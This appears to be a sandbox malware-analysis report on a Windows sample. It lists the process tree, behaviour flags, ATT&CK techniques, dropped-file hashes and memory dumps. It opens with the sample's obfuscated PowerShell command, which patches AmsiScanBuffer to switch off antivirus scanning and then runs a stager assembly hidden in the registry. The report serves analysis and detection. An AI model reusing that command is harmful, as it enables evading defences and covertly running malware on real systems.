C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:tPwiuzgtHLaD{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$VNFujcOdhEcLqq,[Parameter(Position=1)][Type]$XUAzdKpsDO)$UBFuRTnJPRU=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'efl'+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+'D'+[Char](101)+''+[Char](108)+'e'+[Char](103)+'ate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+[Char](101)+''+'m'+'o'+[Char](114)+''+'y'+''+[Char](77)+'odul'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+'g'+'a'+''+[Char](116)+''+[Char](101)+''+'T'+''+[Char](121)+'p'+[Char](101)+'','C'+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'P'+'ub'+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+''+[Char](101)+''+[Char](97)+''+'l'+''+[Char](101)+'d'+[Char](44)+''+'A'+''+[Char](110)+'s'+[Char](105)+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+'t'+''+[Char](111)+''+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$UBFuRTnJPRU.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'p'+[Char](101)+'c'+[Char](105)+''+[Char](97)+''+[Char](108)+'Nam'+[Char](101)+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+'g'+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$VNFujcOdhEcLqq).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+'e'+''+','+''+'M'+''+[Char](97)+'n'+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$UBFuRTnJPRU.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+'k'+[Char](101)+'',''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+'e'+''+[Char](119)+'Sl'+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+'',$XUAzdKpsDO,$VNFujcOdhEcLqq).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+'m'+'e,'+'M'+''+'a'+''+[Char](110)+'a'+[Char](103)+'e'+'d'+'');Write-Output $UBFuRTnJPRU.CreateType();}$VaMTcanOfxBIE=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+'te'+[Char](109)+''+'.'+''+'d'+'l'+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+'r'+''+[Char](111)+''+[Char](115)+''+'o'+'f'+[Char](116)+'.'+[Char](87)+''+[Char](105)+''+'n'+'3'+[Char](50)+''+'.'+'Un'+[Char](115)+''+[Char](97)+''+'f'+'eN'+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+'od'+[Char](115)+'');$VXZVbWuwBjekkC=$VaMTcanOfxBIE.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+'P'+'ro'+'c'+'A'+'d'+''+[Char](100)+''+[Char](114)+'e'+'s'+'s',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+','+[Char](83)+''+'t'+''+[Char](97)+''+[Char](116)+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$TkJKCUWyAPkdSvGjPSH=tPwiuzgtHLaD @([String])([IntPtr]);$ezIECILNJvChcvhVGgCEdC=tPwiuzgtHLaD @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$CnlPJGGirGM=$VaMTcanOfxBIE.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+'M'+''+[Char](111)+''+'d'+''+'u'+''+'l'+'eHa'+'n'+''+[Char](100)+'l'+'e'+'').Invoke($Null,@([Object](''+'k'+''+'e'+''+'r'+'n'+[Char](101)+''+[Char](108)+''+[Char](51)+''+'2'+'.'+'d'+'ll')));$WQUvaEyNueLdIo=$VXZVbWuwBjekkC.Invoke($Null,@([Object]$CnlPJGGirGM,[Object](''+'L'+''+'o'+''+'a'+''+[Char](100)+'L'+'i'+''+'b'+''+[Char](114)+'a'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$TpSyVFxzcyhKzUtWk=$VXZVbWuwBjekkC.Invoke($Null,@([Object]$CnlPJGGirGM,[Object]('V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$SsRvezc=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WQUvaEyNueLdIo,$TkJKCUWyAPkdSvGjPSH).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+'.'+'d'+''+[Char](108)+''+[Char](108)+'');$rdQVPHMMLBNKhmtfd=$VXZVbWuwBjekkC.Invoke($Null,@([Object]$SsRvezc,[Object]('A'+[Char](109)+'s'+'i'+''+'S'+''+[Char](99)+''+[Char](97)+''+'n'+''+[Char](66)+'u'+'f'+''+[Char](102)+'er')));$QzBgkdHqOC=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TpSyVFxzcyhKzUtWk,$ezIECILNJvChcvhVGgCEdC).Invoke($rdQVPHMMLBNKhmtfd,[uint32]8,4,[ref]$QzBgkdHqOC);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$rdQVPHMMLBNKhmtfd,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TpSyVFxzcyhKzUtWk,$ezIECILNJvChcvhVGgCEdC).Invoke($rdQVPHMMLBNKhmtfd,[uint32]8,0x20,[ref]$QzBgkdHqOC);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+[Char](84)+'W'+[Char](65)+''+[Char](82)+'E').GetValue(''+[Char](36)+''+'7'+''+'7'+''+[Char](115)+''+[Char](116)+''+'a'+'g'+'e'+'r')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3292

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
- Suspicious use of WriteProcessMemory
PID:1452

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:1828

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2464

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:764

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:1928

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2976

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1544

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1656

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1780

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1976

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2032

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2052

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2148

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2232

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2796

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2824

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2892

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3432

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3520

C:\Users\Admin\AppData\Local\Temp\fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe
"C:\Users\Admin\AppData\Local\Temp\fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe"
2⤵
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1808

C:\Users\Admin\AppData\Local\Temp\$77ef04f5
"C:\Users\Admin\AppData\Local\Temp\$77ef04f5"
3⤵
- Executes dropped EXE
PID:2028

C:\Users\Admin\AppData\Local\Temp\$77c2e67a
"C:\Users\Admin\AppData\Local\Temp\$77c2e67a"
3⤵
- Executes dropped EXE
PID:1188

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4496

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3804

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:2836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:5100

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2016

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:516

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3036

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1468

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:1836

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{8805baa3-45a8-47ba-9111-4d387c5ffb2a}
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2504

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:1448

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000118 00000084
1⤵
- Suspicious behavior: LoadsDriver
PID:1828

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000f4 00000084
1⤵
PID:764

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d8 00000084
1⤵
PID:3536

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000f0 00000084
1⤵
PID:3292

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000118 00000084
1⤵
PID:1188

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000150 00000084
1⤵
PID:3652

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000160 00000084
1⤵
PID:4132

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000184 00000084
1⤵
PID:2808

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000018c 00000084
1⤵
PID:3488

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000240 00000084
1⤵
PID:1928

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000258 00000084
1⤵
PID:4532

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000001a4 00000084
1⤵
PID:2660

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000001b0 00000084
1⤵
PID:3984

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000024c 00000084
1⤵
PID:616

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000011c 00000084
1⤵
PID:332

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000114 00000084
1⤵
PID:3836

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000180 00000084
1⤵
PID:2676

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000b8 00000084
1⤵
PID:2464

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000a0 00000084
1⤵
PID:1808

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\$77ef04f5
Filesize
4.5MB

MD5
96422a2b982c99614d31dff7f2b64680

SHA1
e8f25aa518b0ef54bcdf770479ef28dd99dd8efc

SHA256
fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16

SHA512
882beba69a0ab2d6f7d048ecb4666b9ba4fe3ea17387ece13fb5bd589ce0db4d7343fbce6e2d836192aed2a920aae4edd1f4b6fa090fe807d54e024dbc234de9

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_wgbhkrtd.c4d.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/616-4942-0x000001D419660000-0x000001D419685000-memory.dmp

Filesize
148KB

Download
memory/616-4944-0x00007FFD9980F000-0x00007FFD99810000-memory.dmp

Filesize
4KB

Download
memory/616-4943-0x00007FFD9980D000-0x00007FFD9980E000-memory.dmp

Filesize
4KB

Download
memory/668-5807-0x000001EF866A0000-0x000001EF866C5000-memory.dmp

Filesize
148KB

Download
memory/668-4960-0x000001EF866A0000-0x000001EF866C5000-memory.dmp

Filesize
148KB

Download
memory/668-4961-0x00007FFD9980D000-0x00007FFD9980E000-memory.dmp

Filesize
4KB

Download
memory/744-5808-0x0000025D2A2C0000-0x0000025D2A2E5000-memory.dmp

Filesize
148KB

Download
memory/744-5001-0x0000025D2A2C0000-0x0000025D2A2E5000-memory.dmp

Filesize
148KB

Download
memory/956-4974-0x00007FFD9980C000-0x00007FFD9980D000-memory.dmp

Filesize
4KB

Download
memory/1808-20-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-4885-0x0000000074BA0000-0x0000000075350000-memory.dmp

Filesize
7.7MB

Download
memory/1808-52-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-66-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-46-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-38-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-36-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-34-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-32-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-30-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-48-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-44-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-42-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-40-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-28-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-26-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-24-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-22-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-58-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-18-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-16-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-14-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-12-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-8-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-10-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-6-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-5-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-56-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-4888-0x0000000006AC0000-0x0000000006B0C000-memory.dmp

Filesize
304KB

Download
memory/1808-4887-0x00000000069D0000-0x0000000006A4E000-memory.dmp

Filesize
504KB

Download
memory/1808-4886-0x0000000074BA0000-0x0000000075350000-memory.dmp

Filesize
7.7MB

Download
memory/1808-4889-0x0000000074BAE000-0x0000000074BAF000-memory.dmp

Filesize
4KB

Download
memory/1808-4890-0x0000000074BA0000-0x0000000075350000-memory.dmp

Filesize
7.7MB

Download
memory/1808-0-0x0000000074BAE000-0x0000000074BAF000-memory.dmp

Filesize
4KB

Download
memory/1808-1-0x0000000000470000-0x00000000008F6000-memory.dmp

Filesize
4.5MB

Download
memory/1808-2-0x0000000006540000-0x0000000006780000-memory.dmp

Filesize
2.2MB

Download
memory/1808-4-0x0000000006820000-0x00000000068B2000-memory.dmp

Filesize
584KB

Download
memory/1808-3-0x0000000006D30000-0x00000000072D4000-memory.dmp

Filesize
5.6MB

Download
memory/1808-50-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-54-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-5757-0x0000000074BA0000-0x0000000075350000-memory.dmp

Filesize
7.7MB

Download
memory/1808-5734-0x0000000005360000-0x00000000053B4000-memory.dmp

Filesize
336KB

Download
memory/1808-60-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-62-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-64-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/1808-68-0x0000000006540000-0x000000000677A000-memory.dmp

Filesize
2.2MB

Download
memory/2028-4898-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/3292-4945-0x00007FFD7A640000-0x00007FFD7B101000-memory.dmp

Filesize
10.8MB

Download
memory/3292-4916-0x00007FFD7A640000-0x00007FFD7B101000-memory.dmp

Filesize
10.8MB

Download
memory/3292-4913-0x000001EEEB130000-0x000001EEEB15A000-memory.dmp

Filesize
168KB

Download
memory/3292-4912-0x00007FFD7A640000-0x00007FFD7B101000-memory.dmp

Filesize
10.8MB

Download
memory/3292-4911-0x00007FFD7A640000-0x00007FFD7B101000-memory.dmp

Filesize
10.8MB

Download
memory/3292-4910-0x00007FFD7A640000-0x00007FFD7B101000-memory.dmp

Filesize
10.8MB

Download
memory/3292-4909-0x000001EED08E0000-0x000001EED0902000-memory.dmp

Filesize
136KB

Download
memory/3292-4899-0x00007FFD7A643000-0x00007FFD7A645000-memory.dmp

Filesize
8KB

Download